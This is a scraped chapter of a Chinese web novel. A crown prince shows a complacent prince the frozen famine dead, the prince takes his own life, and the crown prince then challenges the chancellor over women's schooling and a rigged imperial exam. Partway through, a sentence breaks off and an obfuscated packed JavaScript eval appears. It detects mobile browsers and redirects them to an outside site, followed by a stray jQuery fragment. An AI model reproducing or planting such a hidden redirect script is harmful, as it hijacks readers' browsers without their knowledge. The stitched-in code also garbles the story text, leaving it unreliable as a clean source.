38.太子断铐归故国

作品:《被造谣十年,我复活了

    林鞍用力骂完,整个书房,都能听到自己的回音。


    然太子的表情却让他像是一拳头打在棉花上,一点反应都没有。


    谢徽淡淡的看着他:“你是不是觉得,你是一个为国为民的好郡王?”


    林鞍面色坚定。


    谢徽:“愿不愿意与我去外面看看。”


    林鞍:“外面有什么可看的。”


    谢徽道:“那日我问你,治国之策应该如何定制,你说看史书典籍,看百官们呈上来的文章,是否?”


    林鞍点头:“不错。”


    谢徽:“那若我说,治国之策在民间,你相信么?”


    林鞍被他搞得糊涂:“你到底要说什么?”


    谢徽皮笑肉不笑道:“只是单纯带你出去瞧瞧,瞧瞧你口中的安居乐业,瞧瞧妙乐国子民每天是怎么啃树皮的。”


    “你胡说!”


    谢徽笑着看向林鞍,就像是在看一个天真无邪的孩童,开口道:“仅凭县令的一张纸你就觉得安居乐业了?


    你可知,若县令不这么写,会有罢官的风险,因为他们知道,如果你们知道他们治理不善,他们的乌纱帽就没了。


    他们只能说谎,每个人都在说谎,用谎话编织完美世界。


    看你的样子像是在骂我信口雌黄,可以,我这就带你去看妙乐国究竟是传闻中令人向往的桃源里,还是血淋淋的人间炼狱。”


    话毕,林鞍只觉得一阵接着一阵的失重感。


    他被带到了天空,脚下是宝剑。


    林鞍震惊,“你何时会修行了?”


    谢徽道:“往下看。”


    自太子回宫,他说出的每一句话都有种让人不敢忤逆的威慑力。


    林鞍也不例外。


    可下方白茫茫一片,只有许多隆起的小土堆,他问灾民在哪?


    谢徽带他下去,林鞍身形不稳,剑刚落地,他就因为惯性的原因栽倒在地,一头扎进了面前的土堆。


    似是被硬物磕了一下,疼得他立刻捂住脑袋爬起来。


    却见本来被雪覆盖的土堆,经他这么一折腾,露出了里面蜷缩起来的尸体。


    青黑色,肌肉严重萎缩,和一具木乃伊没任何区别。


    林鞍傻愣在原地,愣了许久,他疯了似的去刨旁边的雪堆,露出来的是个还在给孩子喂奶,却冻死的母子尸体。


    母亲饿得皮包骨,奶水都没有,孩子早已冻死,她却死不撒手,紧紧将孩子抱在怀中。


    “你不是疑惑妙乐国为何新生儿一年比一年少么?”


    林鞍疯狂的拨开一个又一个雪堆,谢徽就站在旁边,冷冷地说:“这便是答案,这种答案,你怎么可能在被大臣们加工过的文书里找到?”


    林鞍泪眼模糊,每看到一具冻死的尸体,他就心慌一分,崩溃一分。


    “看见那棵树了么?”谢徽问。


    林鞍抬头,只见前方的树,树干被啃得不成样子,树皮尽数消失。


    “冬季的树皮不比春夏的树皮,可也没了。你说我虐待大臣,说我没有良心。可我们锦衣玉食,百姓却落得啃树皮,冻死在大雪天里,这不算虐待?还是说,你看不见,就代表不存在?”


    林鞍难过的说不出话来,他不停的抹泪,手足无措的站在雪地里,慌慌张张的环顾四周,强烈的眩晕感让他难以站稳。


    脚下一软,竟是跪了下来。


    火红的天空正在酝酿一场更大的暴雪,林鞍瑟瑟发抖。


    谢徽淡淡道:“现在知道该如何治国了么?”


    林鞍蓦然抬头,眼底无比茫然。


    谢徽讥讽的摇摇头,转身离去,独留林鞍在郊荒郊野岭。


    林鞍是深更半夜被府人们从城外发现的,看到林鞍时,即便穿着棉衣,可也冻得指甲发紫,嘴唇发青。


    “哎哟我的爷啊,您怎么跑到这个鬼地方了!”管家心疼的把汤婆子揣到林鞍手中,给他披上狐裘大氅。


    林鞍发直的眼睛挪到管家脸上,喃喃道:“可这鬼地方,是生我养我的妙乐国。我以为,我的子民真的安居乐业了……”


    一滴血泪划过林鞍的面颊,突然,他抽出府兵的佩刀,对准自己的心脏狠狠扎了进去。


    管家失声尖叫:“爷啊——!”


    “我对不起我的子民……”汩汩而出的血泪染红了林鞍如玉般的面颊,洇红了雪白的狐裘。


    他绝望而无力的嘶哑着同一句话:“对不起,对不起,对不起……”


    林鞍的死谢徽早已预料。


    林鞍与林灼一般无二,都是懦夫。


    只是想起林灼的那个瞬间,谢徽不由自主按住胸口,那股痛意却从指尖悄无声息溜走,仿佛从未发生过。


    “殿下,丞相来了。”


    旁人的声音将谢徽拉回现实。


    “让他进来。”


    “殿下,殿下。”


    未见其人先闻其声,丞相提着衣袍匆匆走进书房,就见太子正坐在桌案前写字。


    “殿下,你这是何意?”丞相将折子放到桌上询问道:“微臣想听听殿下的解释。”


    谢徽道却将折子推给丞相:“没什么可解释的。”


    丞相露出一副难以置信的表情:“殿下,微臣以为殿下外出历练回来,会有一番作为,没曾想殿下来的第一件事,竟然是这种微不足道的小事。”


    谢徽眉梢一挑:“让女子上学科考,怎么就是微不足道?”


    丞相道:“若说是百年之前,妙乐国繁盛之际,殿下这种提议微臣绝对双手赞成。可如今非常之际,妙乐国新生人口本就下降,如殿下执意要让女子上学堂科考,那她们大好的年华便会在读书考试中度过,请问,谁来生孩子呢?”


    谢徽冷笑:“那我也请问一下丞相老师,妙乐国的百姓组成是否有男子?”


    丞相道:“有。”


    谢徽:“是否有女子?”


    丞相回答:“自然。”


    谢徽笑道:“既然妙乐国是由诸多男子与女子组成,为何单单让男子读书考试,不让女子读书考试入官?这朝堂上阳气太甚,我很不喜欢。”


    丞相脑袋一懵。


    谢徽又说:“养儿育女是双方的责任,老师怎么会觉得女子读书考试会耽误生育,而男子读书不会呢?难不成在老师看来,生儿育女这种事,只是女子的任务,而非男子?”


    谢徽说话的语调一直都是很平静。


    就如他这个人,理性到让人误以为他是一个没有任何共情能力的木偶。在他眼里,什么都是一样的。


    他心平气和的说出这句话,呛


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13726437|144076||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    得丞相哑口无言。


    丞相数次张开嘴,可却没有反驳的理由,不得不把嘴重新闭上。


    良久,丞相才挫败道:“微臣告退。”


    “老师。”谢徽突然喊住丞相。


    丞相回头,谢徽从台阶上慢慢走下来,笑道:“不知老师可还记得当年有一道殿试题,叫做‘一统’?”


    丞相:“自然记得。”


    谢徽:“我当时还小,所以老师并未让我答过这个问题。”


    丞相:“殿下是想要答一遍?”


    谢徽将纸递给丞相,丞相有些意外的打量太子,随后看向答卷。


    洋洋洒洒上千字,丞相越看,越叹服,不由得心生欢喜:“殿下的这份答卷可是微臣这些年看过的最满意的卷子。”


    谢徽笑意加深:“老师难道没觉得这个答案有些许眼熟么?”


    丞相重新阅读,看着看着,似乎记起了点什么事,但又感觉抓不住。


    谢徽将丞相微妙的表情揽入眼底,黑漆漆的双眸没有一丝光亮,他给了提示:“谢徽。”


    哗啦。


    丞相手中的一沓纸尽数洒落在地板。


    谢徽一哂:“果然记得,您难道不觉得我写的这些答案,与当初那位的答案一模一样么?”


    丞相眼眶颤抖了几下,机械的将脸转向太子的方向。


    谢徽笑道:“为何当初您骂谢徽的答卷是一派胡言,而我写了同样的答案,为何能得到您的夸赞?”


    丞相嘴唇嚅了嚅,回过神时,才发现手里的答卷尽数洒落在地,连忙躬身去捡,怎知却被谢徽扶住了胳膊:“告诉我,为什么?”


    丞相后退数步,作揖道:“殿下,实在是微臣不得不这样啊!”


    说着,丞相竟然跪了下来。


    眼含泪水道:“殿下,微臣辅政清廉,多少人对微臣的丞相之位虎视眈眈,他们巴不得微臣倒台,我若是倒台,就没办法给妙乐国效力了!”


    “哦?”谢徽故作困惑。


    丞相哽咽道:“如今妙乐国内忧外患,状元不仅要有才华,还要有对我有力的家族背景,这样强强联合,才能将岌岌可危的妙乐国镇住。若我选择一个没什么来历的寒门学子,即便此人才华横溢,可以后的升迁路也会很艰难,很大可能是不会被选入中枢机构,与我一同共事的。而对家的人我更不能选了。”


    “所以,当年那位状元,你选了你母族的人。”


    丞相颔首:“是。”


    “所以,谢徽写的答案并不是通篇废话?”


    丞相颤声道:“是。”


    “所以,因为谢徽没有家世背景,哪怕他写的是对的,也是错的?”


    丞相自责的眼泪在眼眶中打转:“殿下,朝堂复杂,到这个地步,什么答案正确,什么答案错误已经没什么重要的了。答案无关乎本身,而是在于说出这个答案的人是谁,是什么身份。有用的是他的身份,而非他的才华。”


    “丞相的意思是,若这个答案由天子说出,哪怕答案中犯了最为愚蠢的错误,这个答案,也必须要采纳?仅仅是因为答案出自天子口中?”


    丞相痛心道:“陛下说的,皆为真理。涛涛历史中,君君臣臣,父父子子。从来如此。”


    谢徽失笑:“从来如此,便对么?”